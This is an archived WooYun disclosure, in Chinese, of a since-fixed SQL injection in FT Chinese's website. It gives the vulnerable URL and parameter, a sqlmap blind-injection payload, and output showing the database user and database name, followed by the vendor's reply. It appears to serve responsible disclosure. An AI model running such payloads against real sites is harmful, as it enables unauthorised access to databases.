当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143712

漏洞标题:FT中文网主站SQL注射漏洞

相关厂商:FT中文网

漏洞作者: we8_

提交时间:2015-09-27 11:49

修复时间:2015-11-09 10:54

公开时间:2015-11-09 10:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-27: 细节已通知厂商并且等待厂商处理中
2015-09-28: 厂商已经确认,细节仅向厂商公开
2015-10-08: 细节向核心白帽子及相关领域专家公开
2015-10-18: 细节向普通白帽子公开
2015-10-28: 细节向实习白帽子公开
2015-11-09: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

/*昨天晚上我做了个梦,梦见枫老师说爱我,然后就没有然后了*/

详细说明:

事故原因:http://www.ftchinese.com/m/marketing/intelligence.html?type=interactive&id=4468
id未过滤,可注射。

sqlmap identified the following injection points with a total of 301 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=interactive&id=4468') AND 7417=7417 AND ('ehAN'='ehAN
---
[11:35:54] [INFO] testing MySQL
[11:35:54] [INFO] confirming MySQL
[11:35:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[11:35:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 59 times


[11:36:32] [INFO] resuming back-end DBMS 'mysql' 
[11:36:32] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=interactive&id=4468') AND 7417=7417 AND ('ehAN'='ehAN
---
[11:36:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5
[11:36:33] [INFO] fetching current user
[11:36:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:36:33] [INFO] retrieved: ftnew@%
current user: 'ftnew@%'
[*] shutting down at 11:36:57


available databases [1]:
[*] cmstmp01

漏洞证明:

RT

ft1.png


ft2.png

修复方案:

过滤

版权声明:转载请注明来源 we8_@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-09-28 11:19

厂商回复:

单个项目直接访问数据库推向前端,导致数据信息暴露在外。我们暂时先对参数做过滤判断,防止注入。以后会通过数据缓存将前端和数据库隔离。防止类似漏洞出现。非常感谢。

最新状态:

2015-11-09:已关闭潜在的SQL注入的接口


漏洞评价:

评论

  1. 2015-09-27 19:17 | 泳少 ( 普通白帽子 | Rank:232 漏洞数:80 | ★ 梦想这条路踏上了,跪着也要...)

    你说过你会爱我的